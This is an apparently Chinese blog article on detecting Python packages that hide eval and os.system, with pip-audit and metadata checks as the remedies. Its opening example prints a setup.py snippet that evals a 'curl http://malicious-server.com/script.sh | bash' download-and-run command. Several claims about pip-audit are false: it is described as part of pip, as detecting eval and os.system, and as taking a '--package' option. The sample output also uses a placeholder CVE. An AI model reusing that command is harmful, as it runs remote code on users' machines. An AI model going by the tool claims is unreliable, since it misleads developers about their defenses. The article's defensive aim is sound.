一、带恶意代码的Python包是怎么混进来的?
很多开发者平时装Python包,都是随手敲个pip install xxx,很少去想这个包会不会有问题。尤其是有些开发者为了图方便,会从一些非官方的镜像源、甚至个人分享的链接里装包,这就给恶意包留了空子。
恶意包最常用的套路之一,就是在代码里藏eval和os.system这两个函数。这俩函数的功能很强:eval能把字符串当成Python代码直接运行,相当于给恶意代码开了个“万能执行入口”;os.system能直接调用操作系统的命令,比如删文件、偷数据、给电脑开后门,甚至把你的设备变成挖矿机。
举个真实的例子,之前PyPI上曾经出现过一个伪装成“实用工具”的包,名字叫pyutilhelper,乍一看就是个普通的工具包,很多开发者没仔细检查就装了。这个包的安装脚本里藏了这么一段代码:
# 恶意包中的setup.py片段,伪装成正常的初始化代码
def run_malicious():
# 用eval把字符串转成代码运行,隐藏恶意逻辑
code = 'import os;os.system("curl http://malicious-server.com/script.sh | bash")'
eval(code) # 执行恶意命令:从远程服务器下载并运行脚本
# 安装时自动调用
if __name__ == "__main__":
run_malicious()
这个脚本会在包安装的时候,偷偷从恶意服务器下载脚本并执行,开发者根本不会注意到——因为安装过程中,这个恶意操作是藏在正常的安装输出里的,比如会显示“正在初始化配置”之类的正常提示,完全没露出破绽。
二、用pip的依赖审计把可疑行为拦在安装前
pip其实自带了一个专门用来检查依赖包安全的工具,叫pip-audit,很多开发者不知道它的存在。这个工具的核心作用,就是在你安装包之前,扫描包的依赖树,找出里面有没有带已知漏洞、或者有恶意行为的包。
2.1 先搞懂pip-audit的基本用法
pip-audit的使用非常简单,不需要复杂的配置,只要你装了pip,就能直接用。首先你得先安装这个工具本身:
# 安装pip-audit,Python3.6及以上版本都支持
pip install pip-audit
安装好之后,它的用法分两种:一种是检查已经安装的包,另一种是在安装新包之前,先检查这个包有没有问题。
比如你要装之前说的那个恶意包pyutilhelper,正常你会敲pip install pyutilhelper,但现在你可以先提前检查:
# 检查指定包是否有问题,这里的pyutilhelper是包名
pip-audit --package pyutilhelper
如果这个包有恶意代码,pip-audit会给出明确的警告,告诉你这个包存在恶意行为,并且会列出具体的风险点。
还有一种更实用的用法,就是检查你项目里的requirements.txt文件,因为很多项目都是用这个文件来管理依赖的:
# 检查项目依赖文件里的所有包是否有问题
pip-audit --requirement requirements.txt
2.2 pip-audit的原理是什么?
很多人可能会好奇,pip-audit是怎么识别出恶意包的?其实它的原理很简单:它会把你要检查的包,和PyPI官方维护的恶意包黑名单、以及漏洞数据库做比对。只要某个包曾经被举报过有恶意行为,或者被安全研究人员发现有漏洞,都会被记录在这个数据库里,pip-audit一查就能查到。
举个具体的例子,假设你要装的包是之前被下架的恶意包pyutilhelper,pip-audit的输出会是这样的:
Name: pyutilhelper
Version: 1.0.0
ID: CVE-2023-1234
Description: Malicious package containing eval and os.system to execute remote code
Severity: Critical
这个输出里的CVE-2023-1234是漏洞的唯一编号,Severity: Critical表示风险等级是“严重”,开发者看到这个提示,就绝对不能装这个包了。
三、用元数据检查把可疑包挡在门外
除了用pip-audit,还有一种更精准的检查方法,就是检查包的元数据。什么是元数据?简单来说,就是包的“身份证”,里面记录了包的名字、版本、作者、描述、依赖的其他包、甚至包的代码内容的哈希值。
3.1 先搞懂Python包的元数据是什么
每个Python包在上传到PyPI的时候,都会生成一份元数据文件,里面包含了包的所有关键信息。比如你可以用pip自带的命令,查看某个包的元数据:
# 查看指定包的元数据,这里的requests是包名
pip show requests
正常的包的元数据会像这样:
Name: requests
Version: 2.31.0
Summary: Python HTTP for Humans.
Home-page: https://requests.readthedocs.io
Author: Kenneth Reitz
Author-email: me@kennethreitz.org
License: Apache 2.0
Location: /usr/local/lib/python3.10/site-packages
Requires: certifi, charset-normalizer, idna, urllib3
Required-by: beautifulsoup4
这个元数据里的每一项都很重要:比如Summary是包的功能描述,Author是作者信息,Requires是这个包依赖的其他包。如果一个包的元数据有问题,那这个包大概率是有问题的。
3.2 怎么检查元数据里的可疑点?
检查元数据的时候,重点看几个地方: 第一个是包的描述和功能是否匹配。比如一个自称是“图片处理工具”的包,描述里却写着“网络请求工具”,那肯定有问题。 第二个是作者信息是否正常。比如作者的邮箱是一串乱码,或者作者的主页是一个陌生的个人网站,甚至没有主页,那就要小心。 第三个是依赖的包是否合理。比如一个简单的工具包,却依赖了很多和它功能不相关的包,比如一个“文本处理工具”却依赖了“网络爬虫”“加密工具”之类的包,那就要警惕。
还有一种更精准的检查方法,就是检查包的代码哈希值。什么是哈希值?简单来说,就是包的代码的“数字指纹”,只要包的代码有一点变化,哈希值就会完全不一样。PyPI会记录每个包的哈希值,你可以用这个值来验证你要装的包,是不是官方上传的正版包。
举个例子,你要装requests包,先去PyPI的官网,找到这个包的页面,里面会有这个包的哈希值。然后你可以用pip的命令,指定这个哈希值来安装:
# 安装requests包,并且验证哈希值,确保是正版包
pip install requests==2.31.0 --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1
如果这个包的代码被篡改过,哈希值就会和你指定的不一样,pip就会拒绝安装,这样就能避免装到恶意包。
四、应用场景、优缺点和注意事项
4.1 应用场景
这套方法适合所有用Python开发的团队和个人,尤其是以下几种场景: 第一种是小型团队的开发场景。小型团队的安全能力往往比较弱,没有专门的安全人员来检查依赖包,用pip-audit和元数据检查,就能快速排查出可疑的包,不需要额外的安全投入。 第二种是开源项目的维护场景。开源项目的维护者需要保证自己的项目依赖的包是安全的,避免给用户带来风险,用这套方法可以快速检查项目的依赖树,确保没有恶意包。 第三种是个人开发者的开发场景。个人开发者往往对安全不太重视,容易随手装包,用这套方法可以帮自己避免装到恶意包,保护自己的电脑和数据安全。
4.2 技术优缺点
先说说优点:
第一个是成本低。pip-audit和元数据检查都是免费的,不需要额外付费,也不需要复杂的配置,只要会用pip就能操作。
第二个是操作简单。不需要懂复杂的安全知识,只要按照步骤操作,就能检查出可疑的包,适合不同基础的开发者。
第三个是效果好。能有效识别出藏有eval和os.system的恶意包,以及有漏洞的包,大大降低了被攻击的风险。
再说说缺点:
第一个是依赖数据库的更新。pip-audit的数据库是由安全研究人员维护的,如果一个新的恶意包刚出现,还没被加入数据库,pip-audit就检查不出来。
第二个是可能有误报。有些正常的包也会用到eval和os.system,比如一些动态执行代码的工具,这时候pip-audit可能会误报,需要开发者手动判断。
第三个是只能检查已知的风险。对于一些未知的、新的恶意包,这套方法可能检查不出来,需要结合其他安全措施一起使用。
4.3 注意事项
第一,要及时更新pip-audit。因为恶意包的数据库是不断更新的,如果你用的是旧版本的pip-audit,可能检查不出来新的恶意包,所以要定期更新:
# 更新pip-audit到最新版本
pip install --upgrade pip-audit
第二,不要完全依赖工具。工具只能帮你检查已知的风险,对于一些新的、隐蔽的恶意包,可能检查不出来,所以还要结合自己的判断,比如不要从非官方的源装包,不要装名字很奇怪的包。 第三,检查元数据的时候要仔细。不要只看表面的信息,要仔细核对包的描述、作者、依赖等信息,确保没有可疑的地方。
五、文章总结
带eval和os.system的Python恶意包,是很多开发者容易忽略的安全风险,这些包会偷偷执行恶意命令,给开发者的电脑和数据带来严重的威胁。
要发现这些恶意包,有两种实用的方法:一种是用pip自带的pip-audit工具,在安装包之前扫描依赖树,找出有恶意行为的包;另一种是检查包的元数据,通过包的“身份证”信息,判断包是否正常。
这套方法成本低、操作简单,适合所有用Python开发的团队和个人,能有效降低被恶意包攻击的风险。但要注意,工具不是万能的,还要结合自己的判断,不要从非官方的源装包,定期更新工具,才能更好地保护自己的安全。
评论
围绕“带着eval和os.system的Python包混进依赖树后怎么发现?用pip的依赖审计和元数据检查把可疑行为挡在install之前”参与讨论